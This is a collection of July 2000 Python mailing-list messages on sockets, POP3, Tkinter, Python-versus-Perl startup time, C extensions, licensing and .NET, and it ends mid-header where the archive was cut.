From luthi at vaw.baug.ethz.antispam.ch  Fri Jul 14 07:11:22 2000
From: luthi at vaw.baug.ethz.antispam.ch (luthi at vaw.baug.ethz.antispam.ch)
Date: 14 Jul 2000 13:11:22 +0200
Subject: OpenDX Python Wrapper -- any interest?
References: <20000515112219.C1304991@vislab.epa.gov> <8i323b$c4s$1@nnrp2.deja.com>
Message-ID: <yfmya35q84l.fsf@pallas.i-did-not-set--mail-host-address--so-shoot-me>

I am highly interested in this project!

Martin Luethi


From mfletch at tpresence.com  Thu Jul 27 23:23:52 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Thu, 27 Jul 2000 23:23:52 -0400
Subject: Socket question: arbitrary port
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3461@VRTMAIL>

Oh, dang, turns out I'm a lazy person, mama'll be so disappointed :o) !

I'm wondering about the question though, and if it might be asking how to
connect to a service that might be on multiple ports (port scanning)...
there are cases where I've created port ranges (such as the MUVRML reserved
port-range) in which services can exist.  The thing is that Python alone
_can't_ determine if the correct protocol is being used on the server (from
the client (well, assuming we're talking something based on UDP/TCP)), so
you have to do "application-level" testing to determine if you've got a
usable connection (keeping in mind that in these cases you'll likely find
_other_ services running on those "conflicted" ports).

If it was a question related to binding (as you supposed), then the trying
each port approach was the best I came up with (seems to work, I have a
hundred clients on the same machine able to correctly negotiate port usage
among themselves with no perceptible delay (note, these are UDP ports)).

Enjoy,
Mike

-----Original Message-----
From: Robert W. Bill [mailto:rbill at digisprings.com]
Sent: Thursday, July 27, 2000 2:37 PM
To: python-list at python.org
Subject: Re: Socket question: arbitrary port



On Thu, 27 Jul 2000, Jean Bergeron wrote:

> Is it possible to connect a socket through an arbitrary port?
> In other words, can Python find an available port without having the
> programmer (or user) specify a particular port number?
> 
> Any help would be appreaciated!
> Thanks!
> 
...
portNum = 1
while 1:
    try: 
	s.bind('127.0.0.1', portNum)
	break
    except socket.error, why:
	# could analyze why here 
	portNum = portNum + 1
...



From jesse at multimediacollective.com  Thu Jul 27 13:38:49 2000
From: jesse at multimediacollective.com (jesse at multimediacollective.com)
Date: Thu, 27 Jul 2000 17:38:49 -0000
Subject: retrieveing mail from a pop3 account
Message-ID: <8lps39+ski@eGroups.com>

Hey, I've been writing a program which connects to my Pop3 mail 
account, logs in, retrieves each mail in order and prints them out.  
(just printing to standard output for now).  However, say I have two 
messages in my mailbox.  It will print out the body of the first 
message TWICE.  So it will use the first body message as the body of 
every message.  Here is the code. 

def access_mail(host, user, password):
    open_mail = poplib.POP3(host)
    open_mail.user(user)
    open_mail.pass_(password)
    numMessages = len(open_mail.list()[1])
    for index in range(numMessages):
        (server_msg, body, octets) = open_mail.retr(index)
        message_body = cStringIO.StringIO(string.join(body, '\n'))
        msg = mimetools.Message(message_body)
        print message_body.read()
    
                
if __name__=='__main__':
    if len(sys.argv)<4:
        print "Usage:", sys.argv[0], "host username password"
    else:
        access_mail(sys.argv[1], sys.argv[2], sys.argv[3])

when I try to run this it comes up with this error. 

Traceback (innermost last):
  File "<interactive input>", line 1, in ?
  File "dial.py", line 36, in access_mail
    if __name__=='__main__':
  File "C:\Program Files\Python\Lib\poplib.py", line 218, in retr
    return self._longcmd('RETR %s' % which)
  File "C:\Program Files\Python\Lib\poplib.py", line 153, in _longcmd
    return self._getlongresp()
  File "C:\Program Files\Python\Lib\poplib.py", line 132, in 
_getlongresp
    resp = self._getresp()
  File "C:\Program Files\Python\Lib\poplib.py", line 125, in _getresp
    raise error_proto(resp)
error_proto: -ERR no such msg

Any thoughts?  It is a very strange problem, and none of us seem to 
be able to figure it out. 




From fiona at sitegnome.com  Wed Jul 12 04:05:50 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 12 Jul 2000 08:05:50 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 12th, 2000
Message-ID: <20000712080550.29655.qmail@synop.com>

Greetings,

Here are the latest entries to be entered into http://python.faqts.com

regards,

Fiona Czuczman


## New Entries #################################################


-------------------------------------------------------------
How do you read from / write to the system clipboard from Tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/4668
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

I presume that you want to paste or copy into or out of an entry or 
text, these widgets already have copy and paste keystrokes assigned to 
them (at least they do on windows). So I can do Control-c and that 
copies it into the clipboard and Control-p pastes it. so:

from Tkinter import *
root=Tk()
text=Text(root)
text.pack()
root.clipboard_clear()
root.clipboard_append('python rules!')
def paste(event):
    text.event_generate('<Control-v>')
text.bind('<FocusIn>',paste)
root.mainloop()

In this example we append your 'python rules!' to the clipboard and then
wait until the text control gets the focus and then we generate a
<Control-v> event to paste the contents in.


-------------------------------------------------------------
What's the Python equivalent for C's #include "myfile.h"?
http://www.faqts.com/knowledge-base/view.phtml/aid/4669
-------------------------------------------------------------
Fiona Czuczman
Rainer Deyke, Matthew Schinckel

The standard substitute is:

>>> import myfile
or
>>> from myfile import *

However, this is not quite equivalent to #include.  If you really need
behavior identical to #include, you could try the following:

exec open("myfile.h").read()


-------------------------------------------------------------
How can I enumerate drives (local and network) in Python?
http://www.faqts.com/knowledge-base/view.phtml/aid/4670
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

On Win32 you can use:

import win32api,string

drives=win32api.GetLogicalDriveStrings()
drives=string.splitfields(drives,'\000')
print drives

GetLogicalDriveStrings returns a string with each drive null terminated 
so you can use the string module to separate them into a list.

There is also a win32api.GetLogicalDrives() which returns a bitmask 
where each bit represents a drive letter, so 1101 (or 13 in decimal) 
would represent (going from right to left) a:\,c:\ and d:\.


-------------------------------------------------------------
What is the difference between the calls PyObject_GetAttr and PyObject_GetAttrString?
http://www.faqts.com/knowledge-base/view.phtml/aid/4671
-------------------------------------------------------------
Fiona Czuczman
Thomas Wouters

PyObject_GetAttrString takes a PyObject pointer and a char pointer, 
whereas PyObject_GetAttr takes two PyObject pointers: the second 
argument should be a PyString, which is then turned into a char pointer 
(using PyString_AS_STRING) and passed to PyObject_GetAttrString.


## Edited Entries ##############################################


-------------------------------------------------------------
How can I create a stand alone "win32" executable file from a python script?
Is a compiler available anywhere for python for win32?
http://www.faqts.com/knowledge-base/view.phtml/aid/3111
-------------------------------------------------------------
Fiona Czuczman
Daley, MarkX

http://starship.python.net/crew/gmcm/index.html

This link will provide you with a pretty good wrapper that gives you a
one-file installer executable.  I'm pretty sure it's win32.






From jeroen at valcke.com  Mon Jul 17 11:01:06 2000
From: jeroen at valcke.com (Jeroen Valcke)
Date: Mon, 17 Jul 2000 15:01:06 GMT
Subject: automatically filling web forms?
References: <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be> <etdaefjvyvc.fsf@w20-575-115.mit.edu> <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be> <20000717071134.A2351410@vislab.epa.gov>
Message-ID: <ScFc5.3276$Ji7.53171@afrodite.telenet-ops.be>

Whaaw, great, although I'm a newbie to python I managed to write to a cgi
script in a matter of minutes. I had read about python, and it is true:
this is powerful stuff! I'm hooked. I'm going to learn python.
Thanks for this sample code, it helped me alot!

Still, have some questions though. Another cgi script that I'm trying to
write to doesn't work. 
The python program hangs and just waits until I terminate it. Any idea. 
Somebody mentioned that on that particular site you can't write to their cgi scripts. 
It is only possible to use that script from within there own pages.
Is that possible?

Also, a small question about the code
what about the file you open in the code, is that to write results?
because the file never gets created when i run the program, I don't need results too.

-- 
  Jeroen Valcke		jeroen at valcke.com    ICQ# 30116911		Home page:
  http://users.pandora.be/valcke/jeroen/ The best glimpse of heaven ... is
  on the way into hell.



From rumjuggler at cryptarchy.org  Fri Jul 28 23:19:30 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 29 Jul 2000 03:19:30 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <20000728192952.A32288@exeter.exeter.org> <slrn8o4aid.7dm.grey@teleute.rpglink.com>
Message-ID: <clj4os0ggbdv8ipnhofpau0887kdg6qgpl@4ax.com>

On Sat, 29 Jul 2000 00:52:33 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 19:29:52 -0400, Karl Ulbrich <kulbrich at yahoo.com> wrote:
>>If they already contained numbers (well, strings of digits), and you were
>>certain, then simply:
>
>>	a = int(b)
>
>    As stated, that would work except Python returns a None on a no-match and
>None can't be converted.

def REint(i):
	if i is None:
		do whatever you want in this case.
	return int(i)

-- 
Barnabas T. Rumjuggler

Now, most of y'all be thinkin', "Tha H-Dog, he know his bidness." And thas
right, man. Shit need addin'? I creep in, adds tha shit up, and slip out,
quiet as a muthafuck. Variance need resolvin'? It be gone without a trace.
Uh-huh. Only a wack-ass fool ask someone besides tha H-Dog to
accountz-receeve they shit. 
 -- Herbert Kornfeld, Accounts Receivable Supervisor


From grey at despair.rpglink.com  Fri Jul 28 11:27:37 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 15:27:37 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <slrn8o283n.qtv.nobody@isis.visi.com> <slrn8o2f2l.1e2.grey@teleute.rpglink.com> <o7j2oss3nmemu61gufuic4qogtmop76vul@4ax.com>
Message-ID: <slrn8o39f7.3ok.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 09:08:31 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
wrote:
>How is assigning what is rather clearly a number the type "number"
>arbitrary?

    Uh, because a number can be a sequence?  I thought that was rather
obvious.  You keep interchanging what Python defines as a sequence as what is
a sequence.  Python has defined that 1 is not a sequence even though if I put
down 1 on a blackboard, ask a classroom of people to identify that sequence,
they will say 1.  Just because Python doesn't recognize a sequence there
doesn't mean there isn't one there to be recognized.

>I read it, I just didn't see the point in the entire paragraph being there
>if you weren't making some implicit criticism of the current system.

    No, it was to point out that such "odd" behavior in moving from simple to
complex back to simple is to be /expected/.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From david_ullrich at my-deja.com  Mon Jul  3 13:37:45 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Mon, 03 Jul 2000 17:37:45 GMT
Subject: Bug in math.frexp?
References: <20000630221759.A1965@xyz.donetsk.ua> <LNBBLJKPBEHFEDALKOLCCELGGHAA.tim_one@email.msn.com> <14688.12945.528521.351944@cj42289-a.reston1.va.home.com>
Message-ID: <8jqj17$rl0$1@nnrp1.deja.com>

In article <14688.12945.528521.351944 at cj42289-a.reston1.va.home.com>,
  "Fred L. Drake, Jr." <fdrake at beopen.com> wrote:
>
> Tim Peters writes:
>  > The docs are wrong.  I just checked in a repaired version of
mathmodule.c.
>  > Fred, would you please get the truth into the Library Reference
Manual's
>  > math module docs too?
>
>   --sigh--
>   So are the Solaris and Linux man pages wrong, or just confusing?

    I found some Linux docs on this that said

"If the  argument  x is not zero, the normalized fraction
is x times a power of two, and  is  always  in  the
range  1/2 (inclusive) to 1 (exclusive)."

     This is not just wrong or confusing, this is _impossible_
if x < 0; a negative number simply is not a power of two times
a number in the range [1/2, 1).

DU

> Ok, I'll have something like your docstring checked in shortly.
>
>   -Fred
>
> --
> Fred L. Drake, Jr.  <fdrake at beopen.com>
> BeOpen PythonLabs Team Member
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From pj at sgi.com  Mon Jul 31 18:36:00 2000
From: pj at sgi.com (Paul Jackson)
Date: 31 Jul 2000 22:36:00 GMT
Subject: How does Python compare to ?
References: <3FF3ED6EC164DBD2.77C81740D77CD9FA.D247DC7D74D3B365@lp.airnews.net> <Pine.GSO.4.10.10007311048410.10092-100000@sundial> <8m4bo1$3le2$1@nntp6.u.washington.edu>
Message-ID: <8m4v0g$bcbbu$1@fido.engr.sgi.com>

Donn Cave, donn at u.washington.edu wrote:
|> But it has to be partly the interpreter too.

Good grief - does it ever.  On my setup at least,
Python startup is much worse than Perl.

Summary:

    Python does a lot more work loading modules at startup,
    for even the most trivial program, than does Perl.

    1) On SGI Irix 6.5.9m and 180 MHz R5000 MIPS:

	Perl startup: 	 13 msec
	Python startup:	196 msec

    2) On SuSE 6.3 Linux and 400 MHz Pentium II:

	Perl startup:	  9 msec
	Python startup:	 60 msec

    where startup is measured from the time libc loads, until
    the time 'real work' begins (the interpreter reads the
    print command and writes "hi").


Below, I analyze the startup in more detail for the Irix case.
The Linux case is similar, except that proportionately more time
is spent waiting for file system calls, and less cpu-bound in
the application (my Linux box has a faster processor).

All numbers are from "hot" runs -- after first repeating the
same command a few times to get all files accessed into the
buffer cache.  The "cold" buffer times for python also seem
to be much worse than perl, which is not surprising, given
the larger number of files python attempts to access at startup.


Comparing Perl and Python startups on a system:

    SGI Irix 6.5.9m on 128MB 180MHz R5000/SC O2

using versions:

    Perl:   perl5 (5.0 patchlevel 4 subversion 4)
    Python: Python 1.5.2 (#25, Jun 11 1999, 16:45:34)

examining the startup of the two using 'par' to run the following:

    echo 'print "hi"' | perl
    echo 'print "hi"' | python

I see that between the time libc is dynamically loaded (at about
6 msecs after the execve()) until the time that perl/python get
down to business (read the echo'd program and write "hi\n"),
there is a _big_ difference between perl and python.


Perl:

    In this interval, perl does just the following 13 milliseconds
    worth of stuff:

	6mS   sysinfo(_MIPS_SI_PROCESSORS, 0x7fff2d20, 257) = 10
	7mS   open("/usr/lib32/libperl.so.4.4", O_RDONLY, 05) = 4
	7mS   read(4, <...>..., 512) = 512
	7mS   elfmap(4, 0x7fff0f50, 2) = 0x97f0000
	8mS   close(4) OK
	8mS   open("/usr/lib32/libm.so", O_RDONLY, 05) = 4
	8mS   read(4, <...>..., 512) = 512
	8mS   elfmap(4, 0x7fff0f50, 2) = 0x94e0000
	9mS   close(4) OK
       10mS   syssgi(SGI_TOSSTSAVE) OK
       11mS   getpagesize() = 4096
       11mS   brk(0x10015000) OK
       11mS   syssgi(SGI_USE_FP_BCOPY, 0, 0x181, -1, 0x180, 0) = 0
       12mS   brk(0x10025000) OK
       13mS   getuid() = 2324, euid=2324
       13mS   getuid() = 2324, euid=2324
       13mS   getgid() = 20 egid=20
       13mS   getgid() = 20 egid=20
       14mS   time() = 965078506
       14mS   getcontext(0x7fff29d0) = 0
       18mS   getpid() = 1147056, ppid=1142422
       19mS   ioctl(0, __OLD_TCGETA, 0x7fff0170) errno = 89
       19mS   read(0, "print "hi"\n", 4096) = 11

Python:

    In the same interval, python does some 196 milliseconds worth
    of stuff, including 52 open attempts, 34 stat attempts, 67
    sigaction calls, 12 fstat's, 20 close's, 27 brk's, ...

    The opens are mostly to open some 10 modules, where
    each module open requires about 4 attempts, for spam.so,
    spammodule.so, spam.py and spam.pyc.  The modules being
    loaded are:

	exceptions, site, os, posixpath, stat, UserDict, and
	about 4 variants of site-customize (under the main
	python1.5 directory, as well as under plat-irix6, lib-tk
	and lib-dynload).

    The stat's are for each of these potential modules, plus
    looking for the file 'python' in every directory on my
    $PATH, plus 4 stats in the subtree "/usr/lib/locale/C".

    Most of the elapsed time, however, does _not_ seem to be in
    waiting on the system for the above calls (the file calls
    were quick - several per msec - out of cache).  Rather most
    of the time seems to be cpu bound, just after reading in one
    of the modules.  Often, some 10-20 msecs go by, marked only
    by a close() call or two, such as when python is reading a
    couple of nested modules, such as stat and posixpath, and
    closes the child module while still plugging away on the
    parent.

    The stat() search for the python file along $PATH comes
    early (before loading modules) and the sigaction() calls
    come just after loading the exceptions module.

-- 
-- 
I won't rest till it's the best ...	   Software Production Engineer
Paul Jackson (pj at sgi.com; pj at usa.net) 3x1373 http://sam.engr.sgi.com/pj


From tim.hochberg at ieee.org  Tue Jul 18 16:34:27 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Tue, 18 Jul 2000 20:34:27 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators  for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <qnkem4scj0z.fsf@arbutus.physics.mcmaster.ca> <39745372.EDCBF4FF@fft.be> <slrn8n9ef6.so.hzhu@rock.localdomain>
Message-ID: <m2r98rkz3v.fsf@spiff.home.com>

hzhu at localhost.localdomain (Huaiyu Zhu) writes:

> Maybe Travis can answer this: how is transpose implemented in NumPy today?
> Does it produce a new copy or just changes the indexing?  

I'm not Travis, but I'll answer anyway: it just changes the indexing.

-tim


From MarkH at ActiveState.com  Mon Jul  3 19:22:38 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Mon, 03 Jul 2000 23:22:38 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <8jabvo014tv@news2.newsguy.com> <uhfa7qn9c.fsf@cs.uu.nl> <8jqbru017gf@news2.newsguy.com>
Message-ID: <2f985.6708$Tb7.40527@news-server.bigpond.net.au>

"Alex Martelli" <alex at magenta.com> wrote in message
news:8jqbru017gf at news2.newsguy.com...

> I believe the only relevant issue for the Python community
> is: C#, like every other Microsoft offering in recent times,
> will be *STRONGLY* oriented to COM.  Every C# object will be
> a COM object (just like every Java object was one when run
> under Microsoft's Java VM), etc, etc.

Its a little more complicated than that!

> So, C#'s possible (unlikely...) emergence as a major language
> is just the N-plus-1-th motivation for Windows versions of
> Python to support COM *very, VERY* well.

And that!

> Yeah, I know, I should put my coding efforts where my mouth
> is -- and, having expended substantial efforts doing just
> this sort of thing for a proprietary scripting language

Please do.  Typelib work may be kicking off again (if I ever clear my
inbox that is - sorry John - I havent forgotten you :-)  A framework for
calling arbitary vtable interfaces is also in place.  So what you will
find is that it needs less "framework" code, and more a motivated and
skilled person to pull a few of these "late" pieces together.  My
motivation WRT win32com now is more towards keeping the status-quo - and
helping _others_ change it :-)

> Re .NET -- I dunno, and I wish I did!

All will be revlealed after the PDC; less than 2 weeks.  I can safely say
(as this is a Python language newgroup and C# is apparently a "competing"
language), the Python community will probably be more interested in .NET
than in C#.  _Quite_ a bit more :-)


> I'll do y'all a favour and summarize them into basically
> two stances:
>     "It's Microsoft and thus evil, vapourware, immoral,
>         and/or fattening"
>     "It's Microsoft and thus good, splendid, progressive,
>         and/or sexy"

Well put :-)

> I do wonder what other items that have technical reality
> are in .NET besides C#, XML, and SOAP.  If any, that is.

There are - and a number of them.

Mark.





From digitig at cix.co.uk  Sun Jul 16 14:56:00 2000
From: digitig at cix.co.uk (Tim Rowe)
Date: Sun, 16 Jul 2000 19:56 +0100 (BST)
Subject: ODMG?
Message-ID: <memo.20000716195632.17453A@digitig.compulink.co.uk>

Is there any ODMG-style Object-Oriented Database system for Python?


From Armin at Steinhoff_de  Sun Jul  9 07:55:52 2000
From: Armin at Steinhoff_de (Armin Steinhoff)
Date: 9 Jul 2000 04:55:52 -0700
Subject: Setting a C-structure from Python
References: <39649D5C.F1652171@seatech.fau.edu> <3967F70C.17A90288@seatech.fau.edu>
Message-ID: <8k9p88$1s19@drn.newsguy.com>

In article <3967F70C.17A90288 at seatech.fau.edu>, Benoit says...
>
>I think I find out where the bug was.
>Thanks Armin !
>
>Why this C extension didn't work ?
>
>>
>>  static PyObject * test_setstruct(PyObject * self, PyObject * args) {
>>  PyObject * string_from_python;
>>
>>  if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
>>
>>  example= (examplestruct *) PyString_AsString(string_from_python);
>> Py_DECREF(string_from_python);
>>  print_struct();
>>
>>  Py_INCREF(Py_None);
>>  return Py_None;
>>  }
>
>Simply because the  "example"  pointer  points to memory owned by
>string_from_python it point to internal data which is actually part of the
>string object.
>When I "decref "   string_from_python, its reference counter becomes 0, and
>the string object is deleted.
>So  "example" points to something wrong in memory.

"example" is always initialized in the context of test_setstruct() ... so it
can't be the reason for your trouble.

As long as "example" points to memory owned by your process ... you will read
probabbly garbage, but it will not produce a SIGSEV.

If you use a different variable for the second call of struct.pack/test_API
all seems to be working well ... but the interpreter is already corrupted.
You can see it if you terminate the interpreter with Ctrl-D ... -> it leads to a
SIGSEV.

I believe the real point is that you can't apply the "S" format to a "string
buffer" which contains binary zeros. IMHO it corrupts the interpreter.

I have changed your code in the following way:

 static PyObject * test_setstruct(PyObject * self, PyObject * args)
 {
 //PyObject * string_from_python;

 char * string_from_python;
 int len;

// if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
 if (!PyArg_ParseTuple(args,"s#",&string_from_python, &len)) return NULL;

// example= (examplestruct *) PyString_AsString(string_from_python);
 example= (examplestruct *) string_from_python;

// Py_DECREF(string_from_python);
 print_struct();

 Py_INCREF(Py_None);
 return Py_None;
 }

Regards

Armin



From m.faassen at vet.uu.nl  Fri Jul 28 14:18:26 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 28 Jul 2000 18:18:26 GMT
Subject: The State of Python
References: <Pine.GSO.4.10.10007281618410.10036-100000@sundial>
Message-ID: <8lsipi$hoq$1@newshost.accu.uu.nl>

Moshe Zadka <moshez at math.huji.ac.il> wrote:
> On Fri, 28 Jul 2000, Paul Duffin wrote:

>> What does GPL compatible mean ? 

> It means that it can be relicenced as GPL.

Are you sure? I thought it meant you could legally link it to
GPL-ed software. That's what the whole Qt/KDE squabble is about, at least.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From tim_one at email.msn.com  Fri Jul 28 01:24:09 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Fri, 28 Jul 2000 01:24:09 -0400
Subject: "always passes by reference"
In-Reply-To: <397E5D52.AA7AB610@san.rr.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEINGMAA.tim_one@email.msn.com>

[Tim]
> A semi-accepted term to describe what Python (and similar
> languages) do is "call by object".

[Courageous]
> I like "putting stuff on the argument line" better. :)-

Well, yes, but I try not to get that technical because people find it
off-putting <wink>.

you'll-never-see-"applicative-sublanguage"-from-these-supple-
    fingers-ly y'rs  - tim





From ftian at cs.wisc.edu  Mon Jul 31 16:04:24 2000
From: ftian at cs.wisc.edu (ftian at cs.wisc.edu)
Date: Mon, 31 Jul 2000 20:04:24 -0000
Subject: httplib hung on read
Message-ID: <8m4m48+g8f4@eGroups.com>

Hi,

I am using the httplib to get some webpage, it hungs sometimes
in the following senario,

http = httplib.HTTP('myhost')
http.putrequest('GET', myurl)
http.putheader(...)
http.endheaders()

errcode, errmsg, header = http.getreply()
myfile = http.getfile()
# "Still OK here"
page = myfile.read()
# Sometimes Cannot Reach here

the page can be opened with IE, and it only hungs sometimes.
Anyone know the reason?  Thanks.

Feng





From m.faassen at vet.uu.nl  Wed Jul 12 04:19:19 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 12 Jul 2000 08:19:19 GMT
Subject: POOP / Python (Object Oriented Persistence) ?
References: <002001bfea62$21eabdf0$f0c809c0@lslp7o.lsl.co.uk> <8kcqug$p32$1@newshost.accu.uu.nl> <396B975B.D821A4D3@digicool.com>
Message-ID: <8kh9m7$l5m$1@newshost.accu.uu.nl>

Jim Fulton <jim at digicool.com> wrote:
[snip]

Hey, look, Jim Fulton himself! :)

> We've recently worked out (with help from Dr. Sushil Jajodia of
> George Mason U.) a protocol for replicating ZEO storage servers.
> This uses a quorum-based algorithm. Basically, you have multiple
> replicated storage servers and the system is available as long as
> more than half of them can communicate. It's pretty cool.

Sounds like it.

> See http://www.zope.org/Wikis/ZEO/QuorumBasedReplication
> for gory details. :)

Thanks for the link.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From pete at visionart.com  Wed Jul 12 21:29:42 2000
From: pete at visionart.com (Pete Shinners)
Date: Wed, 12 Jul 2000 18:29:42 -0700
Subject: Combining PyMethodDef's to create one C module
Message-ID: <396D1B86.553E00B6@visionart.com>

i've got a python extension in the works. the extension is
split into two main C source files. i figured it would be
easiest if each file has its own "PyMethodDef". then
combine both these lists when creating the module with 
"Py_InitModule"

I have not been able to find an easy way to combine these
lists to create the new module. i was hoping there would
be something like "PyModule_Append(PyObject*, PyMethodDef*)"

Is there some way i can add the functions from one 
PyMethodDef into the other by getting the first one's
dictionary, then adding the functions from the other one
one-by-one?
i think i could do this easy enough, but if someone could
show me the code to take a function pointer and __doc__
string and combine them into a callable PyObject it would
give me a BIG head start.


From moshez at math.huji.ac.il  Fri Jul 21 00:26:17 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 21 Jul 2000 07:26:17 +0300 (IDT)
Subject: [ANNOUNCE] Python Enhancement Proposals on the Web
In-Reply-To: <39779F05.3181C5E5@schneider-kamp.de>
Message-ID: <Pine.GSO.4.10.10007210723250.21285-100000@sundial>

On Fri, 21 Jul 2000, Peter Schneider-Kamp wrote:

>   http://python.sourceforge.net/peps
> 
> Thanks to /F who hacked up a small pep2html converter you
> can browse them as hypertext rather than as the plain text
> they are.
> 
> PEPs that already carry some content include:
... 
> 0206  2.0 Batteries Included               moshez
> 
> Peter

First of all, I'd like to thank Peter and /F.
Now, if anyone sees a module/library I forgot, and thinks it would make 
a useful addition, please let me know. If you can do the web-research to
find out where it can be downloaded from, it would increase its chances
remarkebly. You don't have to tell me what it does -- I'll operate on the
rule-of-thumb that if I had no idea what it does, it probably isn't that
popular.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From robin at jessikat.fsnet.co.uk  Thu Jul 20 03:38:35 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 20 Jul 2000 08:38:35 +0100
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
 <m2u2dl1xf4.fsf@spiff.home.com>
Message-ID: <CnI764A7xqd5Ew2p@jessikat.fsnet.co.uk>

In article <m2u2dl1xf4.fsf at spiff.home.com>, Tim Hochberg
<tim.hochberg at ieee.org> writes
>Huaiyu Zhu <huaiyu_zhu at yahoo.com> writes:
>Based on my ramblings I'll toss out a proposed operator set for the
>pack to feed upon:

>
>       Operator        Name
>          .*             matmul
>          ./             matdiv
>          /.             matsol
>          .** or(?) .^   matpow
>         *              mul
>         /              div
>         %,^,&,|,**     mod, xor, and, or, pow
>
>With broadcasting / nonbroadcasting decided by the individual packages.
>
>My 3 cents.
>
>-tim


The real trichotomy is between inner, outer and element type operations
(I leave out Kronecker products which many use). 

Using . to start an operator seems in Python to lead to all sorts of
confusion

A=Matrix()....; B=A.*C
A=F().........; B=A.*C

No way for the parser to know if the latter should be A.f*C
-- 
Robin Becker


From petersc at stud.ntnu.no  Fri Jul  7 11:58:54 2000
From: petersc at stud.ntnu.no (Peter Schneider-Kamp)
Date: Fri, 07 Jul 2000 15:58:54 +0000
Subject: What about try:except:finally
References: <3967d908.363887342@news.online.no>
Message-ID: <3965FE3D.1A202F51@stud.ntnu.no>

Thomas Weholt wrote:
> 
> try:
>         # some code
> except :
>         # catch exception
> finally:
>         # clean up whatever

You can always use

try:
  try:
    # some code
  except:
    # catch exception
finally:
  # clean up whatever

Not quite as elegant, but do we really need
an extra syntax for that?

wanting-orthogonal-persistence-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From moshez at math.huji.ac.il  Thu Jul 27 01:13:25 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Thu, 27 Jul 2000 08:13:25 +0300 (IDT)
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
In-Reply-To: <K5Lf5.12954$4p3.101126@news-server.bigpond.net.au>
Message-ID: <Pine.GSO.4.10.10007270810400.2823-100000@sundial>

On Thu, 27 Jul 2000, Mark Hammond wrote:

> Better than "VERY high" - they have already done it.  MS have been
> _excellent_ at listening to 3rd party language feedback.  For example, the
> functional language guys are very impressed that MS managed to get tail
> recursion instructions in the VM, in time for the PDC.  No current or
> future MS languages have this requirement, and not even any of the
> (expected to be successful) commercial languages - it was done exclusively
> for the "little languages".

Hmmm...this sounds positively interesting. Do you know if there is similar
support for continuations? IOW, can Scheme be supported on IL?

> But to address your point:  JPython is _not_ a perfect emulation of
> CPython, but it does allow you entry to the Java playground.  Python .NET
> is similar - I don't expect anyone will use it when they want to work in
> an exclusively Python environment, just like almost no one uses JPython in
> that way now...

That's sad -- JPython, CPython and Python .NET should feel the *same*.
That's why we have a standard (the Python Language Reference Manual).
I truly hope JPython and Python .NET (is that the official name) will be
similar enough to CPython that Python code will work across them
seamlessly.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From MarkH at ActiveState.com  Thu Jul 20 07:00:18 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 20 Jul 2000 11:00:18 GMT
